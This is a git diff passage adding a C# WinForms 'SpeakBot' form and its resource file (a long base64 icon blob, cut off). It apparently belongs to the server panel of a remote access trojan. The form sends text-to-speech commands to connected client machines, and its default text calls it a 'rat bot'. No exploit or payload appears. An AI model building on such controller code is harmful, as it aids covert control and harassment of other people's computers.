metroTrackBar1; + private MetroLabel metroLabel4; + private MetroLabel metroLabel1; + private MetroTrackBar metroTrackBar2; + public MetroComboBox comboBox1; + private MetroLabel metroLabel2; + + public FormSpeakBot() => this.InitializeComponent(); + + private void _FormClosing(object sender, FormClosingEventArgs e) + { + this.timer1.Stop(); + if (this.client != null) + this.client.Disconnected(); + e.Cancel = false; + } + + private void Form1_Load(object sender, EventArgs e) + { + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.comboBox1.Style = Customs.customs.Style; + this.metroButton1.Style = Customs.customs.Style; + this.textBox1.Style = Customs.customs.Style; + this.metroTrackBar1.Style = Customs.customs.Style; + this.metroTrackBar2.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.metroLabel4.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.comboBox1.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.textBox1.Theme = Customs.customs.Theme; + this.metroTrackBar1.Theme = Customs.customs.Theme; + this.metroTrackBar2.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + } + this.FormClosing += new FormClosingEventHandler(this._FormClosing); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.ParentClient.Connect) + return; + this.Close(); + } + + private void metroButton1_Click(object sender, EventArgs e) + { + if (this.client == null || this.comboBox1.SelectedIndex == -1 || string.IsNullOrEmpty(this.textBox1.Text)) + return; + Clients client = this.client; + string[] strArray = new string[8]; + strArray[0] = "Speak<@>"; + int num = this.metroTrackBar2.Value; + strArray[1] = num.ToString(); + strArray[2] = "<@>"; + num = this.metroTrackBar1.Value; + strArray[3] = num.ToString(); + strArray[4] = "<@>"; + strArray[5] = Convert.ToBase64String(Encoding.UTF8.GetBytes(this.comboBox1.Text.Split('|')[0])); + strArray[6] = "<@>"; + strArray[7] = Convert.ToBase64String(Encoding.UTF8.GetBytes(this.textBox1.Text)); + string message = string.Concat(strArray); + client.Send((object) message); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormSpeakBot)); + this.timer1 = new Timer(this.components); + this.textBox1 = new MetroTextBox(); + this.metroButton1 = new MetroButton(); + this.metroTrackBar1 = new MetroTrackBar(); + this.metroLabel4 = new MetroLabel(); + this.metroLabel1 = new MetroLabel(); + this.metroTrackBar2 = new MetroTrackBar(); + this.comboBox1 = new MetroComboBox(); + this.metroLabel2 = new MetroLabel(); + this.SuspendLayout(); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.textBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.textBox1.CustomButton.Image = (Image) null; + this.textBox1.CustomButton.Location = new Point(404, 1); + this.textBox1.CustomButton.Name = ""; + this.textBox1.CustomButton.Size = new Size(155, 155); + this.textBox1.CustomButton.Style = MetroColorStyle.Blue; + this.textBox1.CustomButton.TabIndex = 1; + this.textBox1.CustomButton.Theme = MetroThemeStyle.Light; + this.textBox1.CustomButton.UseSelectable = true; + this.textBox1.CustomButton.Visible = false; + this.textBox1.Lines = new string[1] + { + "This is sheet rat bot ha ha ha" + }; + this.textBox1.Location = new Point(23, 63 /*0x3F*/); + this.textBox1.MaxLength = (int) short.MaxValue; + this.textBox1.Multiline = true; + this.textBox1.Name = "textBox1"; + this.textBox1.PasswordChar = char.MinValue; + this.textBox1.ScrollBars = ScrollBars.None; + this.textBox1.SelectedText = ""; + this.textBox1.SelectionLength = 0; + this.textBox1.SelectionStart = 0; + this.textBox1.ShortcutsEnabled = true; + this.textBox1.Size = new Size(560, 157); + this.textBox1.Style = MetroColorStyle.Lime; + this.textBox1.TabIndex = 8; + this.textBox1.Text = "This is sheet rat bot ha ha ha"; + this.textBox1.Theme = MetroThemeStyle.Dark; + this.textBox1.UseSelectable = true; + this.textBox1.UseStyleColors = true; + this.textBox1.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.textBox1.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroButton1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroButton1.Location = new Point(301, 278); + this.metroButton1.Name = "metroButton1"; + this.metroButton1.Size = new Size(93, 31 /*0x1F*/); + this.metroButton1.Style = MetroColorStyle.Lime; + this.metroButton1.TabIndex = 9; + this.metroButton1.Text = "Send"; + this.metroButton1.Theme = MetroThemeStyle.Dark; + this.metroButton1.UseSelectable = true; + this.metroButton1.UseStyleColors = true; + this.metroButton1.Click += new EventHandler(this.metroButton1_Click); + this.metroTrackBar1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroTrackBar1.BackColor = Color.Transparent; + this.metroTrackBar1.Location = new Point(24, 238); + this.metroTrackBar1.Minimum = 1; + this.metroTrackBar1.Name = "metroTrackBar1"; + this.metroTrackBar1.Size = new Size(153, 23); + this.metroTrackBar1.Style = MetroColorStyle.Lime; + this.metroTrackBar1.TabIndex = 44; + this.metroTrackBar1.Text = "metroTrackBar1"; + this.metroTrackBar1.Theme = MetroThemeStyle.Dark; + this.metroTrackBar1.Value = 100; + this.metroLabel4.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroLabel4.AutoSize = true; + this.metroLabel4.Location = new Point(198, 238); + this.metroLabel4.Name = "metroLabel4"; + this.metroLabel4.Size = new Size(96 /*0x60*/, 19); + this.metroLabel4.Style = MetroColorStyle.Lime; + this.metroLabel4.TabIndex = 47; + this.metroLabel4.Text = "<- Bot Volume"; + this.metroLabel4.Theme = MetroThemeStyle.Dark; + this.metroLabel4.UseStyleColors = true; + this.metroLabel1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(198, 278); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(78, 19); + this.metroLabel1.Style = MetroColorStyle.Lime; + this.metroLabel1.TabIndex = 49; + this.metroLabel1.Text = "<- Bot Rate"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroTrackBar2.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroTrackBar2.BackColor = Color.Transparent; + this.metroTrackBar2.Location = new Point(24, 278); + this.metroTrackBar2.Maximum = 10; + this.metroTrackBar2.Minimum = -10; + this.metroTrackBar2.Name = "metroTrackBar2"; + this.metroTrackBar2.Size = new Size(153, 23); + this.metroTrackBar2.Style = MetroColorStyle.Lime; + this.metroTrackBar2.TabIndex = 48 /*0x30*/; + this.metroTrackBar2.Text = "metroTrackBar2"; + this.metroTrackBar2.Theme = MetroThemeStyle.Dark; + this.metroTrackBar2.Value = 0; + this.comboBox1.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.comboBox1.FontSize = MetroComboBoxSize.Small; + this.comboBox1.FormattingEnabled = true; + this.comboBox1.ItemHeight = 19; + this.comboBox1.Location = new Point(301, 238); + this.comboBox1.Margin = new Padding(2); + this.comboBox1.Name = "comboBox1"; + this.comboBox1.Size = new Size(236, 25); + this.comboBox1.Style = MetroColorStyle.Lime; + this.comboBox1.TabIndex = 50; + this.comboBox1.Theme = MetroThemeStyle.Dark; + this.comboBox1.UseSelectable = true; + this.comboBox1.UseStyleColors = true; + this.metroLabel2.Anchor = AnchorStyles.Bottom | AnchorStyles.Left; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(542, 238); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(48 /*0x30*/, 19); + this.metroLabel2.Style = MetroColorStyle.Lime; + this.metroLabel2.TabIndex = 51; + this.metroLabel2.Text = "<- Bot"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(606, 340); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.comboBox1); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.metroTrackBar2); + this.Controls.Add((Control) this.metroLabel4); + this.Controls.Add((Control) this.metroTrackBar1); + this.Controls.Add((Control) this.metroButton1); + this.Controls.Add((Control) this.textBox1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormSpeakBot); + this.ShowIcon = false; + this.Style = MetroColorStyle.Lime; + this.Text = "SpeakBot"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.Form1_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormSpeakBot.resx b/Server/Server/Forms/FormSpeakBot.resx new file mode 100644 index 0000000..a44d81d --- /dev/null +++ b/Server/Server/Forms/FormSpeakBot.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5JY29uAgAAAAhJY29uRGF0YQhJY29uU2l6ZQcEAhNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAIAAAAJAwAAAAX8////E1N5c3RlbS5EcmF3aW5nLlNpemUCAAAABXdpZHRoBmhlaWdodAAACAgCAAAAAAAAAAAAAAAPAwAAAD5CAAACAAABAAEAQEAAAAEAIAAoQgAAFgAAACgAAABAAAAAgAAAAAEAIAAAAAAAAEAAABMLAAATCwAAAAAAAAAAAAABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEuAQEBWwEBAYMBAQGnAQEBxQEBAd4BAQHwAAAA/AAAAPwAAADwAQEB3gEBAcUBAQGnAQEBgwEBAVsBAQEuAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEKAQEBSwEBAYoBAQHFAQEB/AEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/AEBAcUBAQGKAQEBSwEBAQoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBASoBAQF3AQEBwQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHBAQEBdwEBASoBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAYMBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHYAQEBgwEBASwBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQERAQEBcgEBAdABAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQHQAQEBcgEBAREBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFEAQEBqwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGrAQEBRAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB2gEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAdoBAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBARQBAQGIAQEB/QEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8HBwf/CgoK/wkJCf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/QEBAYgBAQEUAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGZAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wcHB/8XFxf/EhIS/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEBmQEBAR8BAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAR8BAQGfAQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/xkZGf8TExP/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQGfAQEBHwEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBARQBAQGZAQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wAAAP8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8DAwP/Gxsb/wQEBP8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAZkBAQEUAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQGIAQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/w0NDf8EBAT/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBiAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFsAQEB/QEBAf8BAQH/AAAA/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf0BAQFsAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQFEAQEB2gEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB/wYGBv8FBQX/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wAAAP8BAQH/AQEB2gEBAUQBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQERAQEBqwAAAP8AAAD/AAAA/wAAAP8AAAD/AQEB/wEBAf8KCgr/DAwM/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wAAAP8BAQGrAQEBEQEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBcgAAAP8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AAAA/wEBAXIBAQEAAQEBAAEBAQABAQEAAQEBAAEBAQABAQEAAQEBLAEBAdABAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8vZIn/MXqq/zJ1ov8uYIL/LFh3/zQVEP8MBQT/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAADQAQEBLAEBAQABAQEAAQEBAAEBAQABAQEAAQEBAAEBAYMBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/IJfc/wCo//8AqP//AKj//wCo//8AqP//HZnf/zF3pP8XCwn/AgEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAYMBAQEAAQEBAAEBAQABAQEAAQEBAAEBASoBAQHYAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/yCX3P8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//CKX4/y5ggv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQHYAQEBKgEBAQABAQEAAQEBAAEBAQABAQF3AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8gl9z/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//KVJv/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAXcBAQEAAQEBAAEBAQABAQEKAQEBwQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/IJfc/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//yGV2P8JBAP/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQHBAQEBCgEBAQABAQEAAQEBSwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8CAgL/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/x+X3P8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8Cp/7/EAcF/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAUsBAQEAAQEBAAEBAYoBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8rVHH/L2GF/zB/sv8Lo/X/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQGKAQEBAAEBAQABAQHFAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/BwcH/wICAv8BAQH/AQEB/x4NCv8xdKD/MXSg/zF0oP8xdKD/MXSg/zJvmP8jDgv/AQEB/wEBAf8BAQH/AQEB/xgKCP8xbZb/MXSg/zF0oP8xdKD/MXSg/zJznv8lSmT/AQEB/wEBAf8DAQH/DAUE/xub4v8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEBxQEBAQABAQEuAQEB/AEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wcHB/8CAgL/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//LVp6/wEBAf8BAQH/AQEB/w0GBP8ri8X/AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8xbJT/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAfwBAQEuAQEBWwEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//y1aev8BAQH/AQEB/wcDAv8xd6b/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBWwEBAYMBAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/y1bfP8AqP//AKj//wCo//8AqP//AKj//wCo//8tWnr/AQEB/wEBAf8sWnr/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8xeKb/AQEB/wEBAf8BAQH/AQEB/ytUcf8AqP//AKj//wCo//8AqP//AKj//wCo//8SCAb/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD/AAAA/wEBAf8BAQH/AQEB/wEBAYMBAQGnAQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8tW3z/AKj//wCo//8AqP//AKj//wCo//8AqP//LVp6/wEBAf8uEw7/AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//MXim/wEBAf8BAQH/AQEB/wEBAf8rVHH/AKj//wCo//8AqP//AKj//wCo//8AqP//EggG/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAP8BAQH/AQEB/wEBAf8BAQGnAQEBxQEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/LVt8/wCo//8AqP//AKj//wCo//8AqP//AKj//y1aev8jDwv/Gpzk/wCo//8AqP//AKj//wCo//8AqP//AKj//wCo//8AqP//AKj//zF4pv8BAQH/AQEB/wEBAf8BAQH/K1Rx/wCo//8AqP//AKj//wCo//8AqP//AKj//xIIBv8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wAAAP8AAAD/AQEB/wEBAf8BAQH/AQEBxQEBAd4BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf8BAQH/AQEB/wEBAf